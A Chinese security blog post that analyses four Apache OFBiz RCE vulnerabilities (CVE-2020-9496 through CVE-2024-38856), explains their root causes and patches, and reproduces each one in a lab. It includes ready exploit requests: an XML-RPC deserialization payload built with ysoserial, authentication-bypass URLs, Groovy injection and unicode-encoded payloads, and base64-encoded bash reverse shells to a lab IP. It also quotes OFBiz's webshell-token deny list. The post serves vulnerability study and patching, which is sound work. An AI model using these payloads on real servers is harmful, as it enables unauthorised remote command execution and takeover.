申明:本文仅供技术交流,请自觉遵守网络安全相关法律法规,切勿利用文章内的相关技术从事非法活动,如因此产生的一切不良后果与文章作者无关。
0x00 介绍
OFBiz 是一个非常著名的电子商务平台,是一个非常著名的开源项目,提供了创建基于最新J2EE/XML规范和技术标准,构建大中型企业级、跨平台、跨数据库、跨应用服务器的多层、分布式电子商务类WEB应用系统的框架。它还提供了一整套功能,涵盖企业所需的方方面面。除了管理产品及其相关内容(如电子商店)外,Apache OFBiz还能履行许多其它重要角色,包括客户关系管理、项目进度、计费管理、人力资源管理以及订单管理。简而言之,它就是一个企业资源规划器(ERP)。世界上有上千个企业在某方面或多方面依赖于OFBiz。
0x01 CVE-2020-9496
一、漏洞描述
在Apache OFBiz < 17.12.04版本的XMLRPC接口存在一处未授权反序列化漏洞,攻击者利用这个漏洞可以在目标服务器上执行任意命令。
二、漏洞原理
Apache OFBiz的/control
下的路径由org.apache.ofbiz.webapp.control.ControlServlet
处理,该类又是读取/WEB-INF/controller.xml
中的配置来对路径进行相应处理的。当请求路径为webtools/control/xmlrpc
时,读取到的配置为:
<request-map uri="xmlrpc" track-serverhit="false" track-visit="false">
<security https="false"/>
<event type="xmlrpc"/>
<response name="error" type="none"/>
<response name="success" type="none"/>
</request-map>
该接口不需要鉴权(需要的话security标签中会有个auth="true"
),对应的事件event为xmlrpc
,在处理该事件时会调用XmlRpcRequestParser为解析器对输入的xml进行解析(XML 的参数有其规范),其中 value 中有个参数 serializable,其对应的解析器是 SerializableParser:
public class SerializableParser extends ByteArrayParser {
public Object getResult() throws XmlRpcException {
try {
byte[] res = (byte[]) super.getResult();
ByteArrayInputStream bais = new ByteArrayInputStream(res);
ObjectInputStream ois = new ObjectInputStream(bais);
return ois.readObject();
} catch (IOException e) {
throw new XmlRpcException("Failed to read result object: " + e.getMessage(), e);
} catch (ClassNotFoundException e) {
throw new XmlRpcException("Failed to load class for result object: " + e.getMessage(), e);
}
}
}
可见,其进行了反序列化操作!!!而在其父类ByteArrayParser中会先对接收到的数据进行base64解码。
XML-RPC也是Apache基金会旗下的一个项目,但基本上在2010年前后就不更新了,历史上出现过多个反序列化漏洞(如CVE-2016-5003、CVE-2019-17570),该项目中存在CommonsBeanutils1利用链未被修复。Apache OFBiz由于使用了XML-RPC组件所以受到了影响。
该漏洞的分析过程参考:https://xz.aliyun.com/t/8184
三、漏洞复现
使用vulhub来搭建环境
cd /vulhub/ofbiz/CVE-2020-9496
sudo docker compose up -d
访问https://yourip:8443/accounting进入登陆页面:
数据包:
POST /webtools/control/xmlrpc HTTP/1.1
Host: your-ip
Content-Type: application/xml
Content-Length: 4093
<methodCall>
<methodName>ProjectDiscovery</methodName>
<params>
<param>
<value>
<struct>
<member>
<name>test</name>
<value>
<serializable xmlns="http://ws.apache.org/xmlrpc/namespaces/extensions">[base64-payload]</serializable>
</value>
</member>
</struct>
</value>
</param>
</params>
</methodCall>
使用ysoserial生成base64-payload:
java -jar ysoserial-all.jar CommonsBeanutils1 "bash -c {echo,YmFzaCAtaSA+JiAvZGV2L3RjcC8xMC4yMTEuNTUuMy8xMjM0IDA+JjE=}|{base64,-d}|{bash,-i}"|base64
收到shell:
四、漏洞修复
官方通过对XML-RPC这个接口增加认证来进行修复
https://github.com/apache/ofbiz-framework/commit/d708d9afcb3aaae61fc92f5b1b6f14b7374bba76
因为XML-RPC不再维护,所以上面的修复代码只是使得原来的“Pre-Auth RCE”变成了“Post-Auth RCE”。2021年10月,一个叫Jie Zhu的人向官方反应了这个“Post-Auth RCE漏洞”,于是官方又进行了二次加固(https://github.com/apache/ofbiz-framework/commit/15c209a475cb50525a6cbd1e24601355c7be1b0a):
但该修复可以使用</serializable >
进行绕过,官方又修复如下:
https://github.com/apache/ofbiz-framework/commit/fb495637441cfe331943d34ce2d0943bc8c30552
后面又对该代码进行了修改,最终的修复代码如下:
public void doFilter(ServletRequest request, ServletResponse response, FilterChain chain) throws IOException, ServletException {
// Get the request URI without the webapp mount point.
String context = ((HttpServletRequest) request).getContextPath();
String uriWithContext = ((HttpServletRequest) request).getRequestURI();
String uri = uriWithContext.substring(context.length());
if ("/control/xmlrpc".equals(uri.toLowerCase())) {
// Read request.getReader() as many time you need
request = new RequestWrapper((HttpServletRequest) request);
String body = request.getReader().lines().collect(Collectors.joining());
if (body.contains("</serializable")) {
Debug.logError("Content not authorised for security reason", "CacheFilter"); // Cf. OFBIZ-12332
return;
}
}
chain.doFilter(request, response);
}
0x02 CVE-2023-49070
一、漏洞描述
在Apache OFBiz 17.12.03版本及以前存在一处XMLRPC导致的反序列漏洞(CVE-2020-9496),官方于后续的版本中对相关接口进行加固修复漏洞,但该修复方法存在绕过问题(CVE-2023-49070),使得在18.12.10版本之前,攻击者仍然可以利用反序列化漏洞在目标服务器中执行任意命令。
二、漏洞原理
从上文我们可以知道,官方对于CVE-2020-9496的修复主要做了下面两点:
1.对xmlrpc接口进行了认证;
2.请求/control/xmlrpc
接口时检测body中是否包含</serializable
关键字
在Java中,部分中间件如Tomcat可以通过;
的方式可以在路径中增加Matrix Parameters:https://www.baeldung.com/cs/url-matrix-vs-query-parameters。
通过使用/webtools/control/xmlrpc;/
,可以绕过对</serializable
关键字的检测:
接下来,就是要绕过认证了。
ofbiz是通过org.apache.ofbiz.webapp.control.LoginWorker#checkLogin来检查用户是否已进行认证的:
public static String checkLogin(HttpServletRequest request, HttpServletResponse response) {
GenericValue userLogin = checkLogout(request, response);
// have to reget this because the old session object will be invalid
HttpSession session = request.getSession();
String username = null;
String password = null;
String token = null;
if (userLogin == null) {
// check parameters
username = request.getParameter("USERNAME");
password = request.getParameter("PASSWORD");
token = request.getParameter("TOKEN");
// check session attributes
if (username == null) username = (String) session.getAttribute("USERNAME");
if (password == null) password = (String) session.getAttribute("PASSWORD");
if (token == null) token = (String) session.getAttribute("TOKEN");
// in this condition log them in if not already; if not logged in or can't log in, save parameters and return error
if (username == null
|| (password == null && token == null)
|| "error".equals(login(request, response))) {
// make sure this attribute is not in the request; this avoids infinite recursion when a login by less stringent criteria (like not checkout the hasLoggedOut field) passes; this is not a normal circumstance but can happen with custom code or in funny error situations when the userLogin service gets the userLogin object but runs into another problem and fails to return an error
request.removeAttribute("_LOGIN_PASSED_");
......
return "error";
}
}
......
return "success";
}
其中有一个关键的判断"error".equals(login(request, response)))
,当login()函数返回值为error时,进入if语句,认证失败;若不为error认证成功。
看到login()函数相关代码:
public static String login(HttpServletRequest request, HttpServletResponse response) {
HttpSession session = request.getSession();
// Prevent session fixation by making Tomcat generate a new jsessionId (ultimately put in cookie).
if (!session.isNew()) { // Only do when really signing in.
request.changeSessionId();
}
Delegator delegator = (Delegator) request.getAttribute("delegator");
String username = request.getParameter("USERNAME");
String password = request.getParameter("PASSWORD");
String token = request.getParameter("TOKEN");
String forgotPwdFlag = request.getParameter("forgotPwdFlag");
......
if (username == null) username = (String) session.getAttribute("USERNAME");
if (password == null) password = (String) session.getAttribute("PASSWORD");
if (token == null) token = (String) session.getAttribute("TOKEN");
// allow a username and/or password in a request attribute to override the request parameter or the session attribute; this way a preprocessor can play with these a bit...
if (UtilValidate.isNotEmpty(request.getAttribute("USERNAME"))) {
username = (String) request.getAttribute("USERNAME");
}
if (UtilValidate.isNotEmpty(request.getAttribute("PASSWORD"))) {
password = (String) request.getAttribute("PASSWORD");
}
if (UtilValidate.isNotEmpty(request.getAttribute("TOKEN"))) {
token = (String) request.getAttribute("TOKEN");
}
......
boolean requirePasswordChange = "Y".equals(request.getParameter("requirePasswordChange"));
if (!unpwErrMsgList.isEmpty()) {
request.setAttribute("_ERROR_MESSAGE_LIST_", unpwErrMsgList);
return requirePasswordChange ? "requirePasswordChange" : "error";
}
......
}
requirePasswordChange这个参数的值如果等于Y,则返回requirePasswordChange,否则返回error。
而前面的逻辑,只要login(request, response)返回的不是error,则认证成功。
于是只要请求路由为/webtools/control/xmlrpc;/?USERNAME=&PASSWORD=&requirePasswordChange=Y
即可绕过对CVE-2020-9496漏洞的修复。
三、漏洞复现
使用vulhub来搭建环境
cd /vulhub/ofbiz/CVE-2023-49070
sudo docker compose up -d
访问https://yourip:8443/accounting 出现下面的页面
进入容器修改下配置:
//进入指定容器
sudo docker exec -it CONTAINER_ID /bin/bash
//容器中执行
apt-get update
apt-get install vim
vim framework/security/config/security.properties //找到host-headers-allowed添加访问时的IP头,我的是10.211.55.5
//退出容器
exit
//重启容器
sudo docker compose restart
访问:
数据包:
POST /webtools/control/xmlrpc;/?USERNAME=&PASSWORD=&requirePasswordChange=Y HTTP/1.1
Host: your-ip
Content-Type: application/xml
Content-Length: 4093
<methodCall>
<methodName>ProjectDiscovery</methodName>
<params>
<param>
<value>
<struct>
<member>
<name>test</name>
<value>
<serializable xmlns="http://ws.apache.org/xmlrpc/namespaces/extensions">[base64-payload]</serializable>
</value>
</member>
</struct>
</value>
</param>
</params>
</methodCall>
四、漏洞修复
对于该漏洞的修复官方是简单粗暴地删除xmlrpc组件:
https://github.com/apache/ofbiz-framework/commit/c59336f604f503df5b2f7c424fd5e392d5923a27
并未对本身逻辑缺陷导致权限绕过进行修复,这也就导致了后面的CVE-2023-51467。
0x03 CVE-2023-51467
一、漏洞描述
由于CVE-2023-49070的不完全修复。在Apache OFBiz 18.12.10版本中,官方移除了可能导致RCE漏洞的XMLRPC组件,但没有修复权限绕过问题。长亭科技的安全研究员利用这一点找到了另一个可以导致RCE的方法:Groovy表达式注入。影响Apache OFBiz < 18.12.11的版本。
二、漏洞原理
存在问题的接口是/webtools/control/ProgramExport
,根据配置文件,该接口需要鉴权:
<request-map uri="ProgramExport">
<security https="true" auth="true"/>
<response name="success" type="view" value="ProgramExport"/>
<response name="error" type="view" value="ProgramExport"/>
</request-map>
使用上面的方法绕过即可,根据ofbiz的路由及其对应处理方法,该接口最终调用webtools/groovyScripts/entity/ProgramExport.groovy
来处理:
String groovyProgram = null
recordValues = []
errMsgList = []
if (!parameters.groovyProgram) {
groovyProgram = '''
// Use the List variable recordValues to fill it with GenericValue maps.
// full groovy syntaxt is available
import org.apache.ofbiz.entity.util.EntityFindOptions
// example:
// find the first three record in the product entity (if any)
EntityFindOptions findOptions = new EntityFindOptions()
findOptions.setMaxRows(3)
List products = delegator.findList("Product", null, null, null, findOptions, false)
if (products != null) {
recordValues.addAll(products)
}
'''
parameters.groovyProgram = groovyProgram
} else {
groovyProgram = parameters.groovyProgram
}
// Add imports for script.
def importCustomizer = new ImportCustomizer()
importCustomizer.addImport("org.apache.ofbiz.entity.GenericValue")
importCustomizer.addImport("org.apache.ofbiz.entity.model.ModelEntity")
def configuration = new CompilerConfiguration()
configuration.addCompilationCustomizers(importCustomizer)
Binding binding = new Binding()
binding.setVariable("delegator", delegator)
binding.setVariable("recordValues", recordValues)
ClassLoader loader = Thread.currentThread().getContextClassLoader()
def shell = new GroovyShell(loader, binding, configuration)
if (UtilValidate.isNotEmpty(groovyProgram)) {
try {
if (!org.apache.ofbiz.security.SecuredUpload.isValidText(groovyProgram,["import"])) {
request.setAttribute("_ERROR_MESSAGE_", "Not executed for security reason")
return
}
shell.parse(groovyProgram)
shell.evaluate(groovyProgram)
recordValues = shell.getVariable("recordValues")
xmlDoc = GenericValue.makeXmlDocument(recordValues)
context.put("xmlDoc", xmlDoc)
......
}
在执行groovy脚本之前会调用SecuredUpload.isValidText
来进行检查:
public static boolean isValidText(String content, List<String> allowed) throws IOException {
return DENIEDWEBSHELLTOKENS.stream().allMatch(token -> isValid(content, token, allowed));
}
DENIEDWEBSHELLTOKENS来源于配置文件security.properties,具体有:
deniedWebShellTokens=freemarker,import="java,runtime.getruntime().exec(,<%@ page,<script,<body>,<form,php,
javascript,%eval,@eval,import os,passthru,exec,shell_exec,assert,str_rot13,system,phpinfo,base64_decode,chmod,mkdir,
fopen,fclose,new file,import,upload,getfilename,download,getoutputstring,readfile
故而可以使用execute
来执行命令。
对于该漏洞的分析可参考:
https://xz.aliyun.com/t/13211
https://y4tacker.github.io/2023/12/27/year/2023/12/Apache-OFBiz%E6%9C%AA%E6%8E%88%E6%9D%83%E5%91%BD%E4%BB%A4%E6%89%A7%E8%A1%8C%E6%B5%85%E6%9E%90-CVE-2023-51467/
三、漏洞复现
使用vulhub来搭建环境
cd vulhub/ofbiz/CVE-2023-51467
sudo docker compose up -d
//进入指定容器
sudo docker exec -it CONTAINER_ID /bin/bash
//容器中执行
apt-get update
apt-get install vim
vim framework/security/config/security.properties //找到host-headers-allowed添加访问时的IP头,我的是10.211.55.5
//退出容器
exit
//重启容器
sudo docker compose restart
访问:
数据包:
POST /webtools/control/ProgramExport/?USERNAME=&PASSWORD=&requirePasswordChange=Y HTTP/1.1
Host: youip:8443
Content-Type: application/x-www-form-urlencoded
Content-Length: 55
groovyProgram=throw+new+Exception('id'.execute().text);
反弹shell:
POST /webtools/control/ProgramExport/?USERNAME=&PASSWORD=&requirePasswordChange=Y HTTP/1.1
Host: 10.211.55.5:8443
Content-Type: application/x-www-form-urlencoded
Content-Length: 55
groovyProgram='bash+-c+%7Becho%2CYmFzaCAtaSA%2BJiAvZGV2L3RjcC8xMC4yMTEuNTUuMy8xMjM0IDA%2BJjE%3D%7D%7C%7Bbase64%2C-d%7D%7C%7Bbash%2C-i%7D'.execute();
四、漏洞修复
从官方的历史提交来看,应该是修改了requirePasswordChange的逻辑,直接返回error
https://github.com/apache/ofbiz-framework/commit/1dcfa071804a5b717b9b579aa44f3a8d39592d55
但并未对Groovy表达式注入进行修复,若能绕过验证,还是能进行RCE,这就是CVE-2024-38856
0x04 CVE-2024-38856
一、漏洞描述
Apache OFBiz <= 18.12.14的版本中由于授权不当致代码执行漏洞(CVE-2024-38856),该漏洞允许未经身份验证的远程攻击者通过特定的URL绕过安全检测机制执行恶意代码。攻击者可能利用该漏洞来执行恶意操作,包括但不限于获取敏感信息、修改数据或执行系统命令,最终可导致服务器失陷。
二、漏洞原理
这主要是ofbiz的路由与鉴权问题,详细请看y4tacker的博客:
https://y4tacker.github.io/2024/06/23/year/2024/8/Apache-OFBiz-Authentication-Bypass-CVE-2024-38856/
三、漏洞复现
1.环境搭建
下载OFBiz 18.12.14版本:
wget https://dlcdn.apache.org/ofbiz/apache-ofbiz-18.12.14.zip
安装(需要JDK8+):
unzip apache-ofbiz-18.12.14.zip
cd apache-ofbiz-18.12.14.zip
./gradle/init-gradle-wrapper.sh
./gradlew cleanAll loadAll //需要等一段时间,我等了十多分钟
./gradlew cleanAll "ofbiz --load-data readers=seed,seed-initial" loadAdminUserLogin -PuserLoginId=admin
vim framework/security/config/security.properties //找到host-headers-allowed添加访问时的IP头,我的是10.211.55.6
./gradlew ofbiz
然后访问https://yourip:8443/accounting即可
2.漏洞复现
数据包如下:
POST /webtools/control/main/ProgramExport HTTP/1.1
Host: yourip:8443
Content-Type: application/x-www-form-urlencoded
Content-Length: 24
groovyProgram=u0074u0068u0072u006Fu0077u0020u006Eu0065u0077u0020u0045u0078u0063u0065u0070u0074u0069u006Fu006Eu0028u0027u0077u0068u006Fu0061u006Du0069u0027u002Eu0065u0078u0065u0063u0075u0074u0065u0028u0029u002Eu0074u0065u0078u0074u0029u003B
反弹shell:
先对bash -i >& /dev/tcp/ip/port 0>&1
进行base64编码,然后再对"bash -c {echo,base64编码}|{base64,-d}|{bash,-i}".execute()
进行unicode编码:
参考链接:
https://mp.weixin.qq.com/s/iAvitO6otPdHSu1SjRNX3g
https://github.com/vulhub/vulhub/tree/master/ofbiz
https://y4tacker.github.io/2023/12/27/year/2023/12/Apache-OFBiz%E6%9C%AA%E6%8E%88%E6%9D%83%E5%91%BD%E4%BB%A4%E6%89%A7%E8%A1%8C%E6%B5%85%E6%9E%90-CVE-2023-51467/
https://y4tacker.github.io/2024/06/23/year/2024/8/Apache-OFBiz-Authentication-Bypass-CVE-2024-38856/
如果喜欢小编的文章,记得多多转发,点赞+关注支持一下哦~,您的点赞和支持是我最大的动力~
原文始发于微信公众号(沃克学安全):Apache OFBiz RCE:从CVE-2020-9496到最新CVE-2024-38856
- 左青龙
- 微信扫一扫
- 右白虎
- 微信扫一扫
评论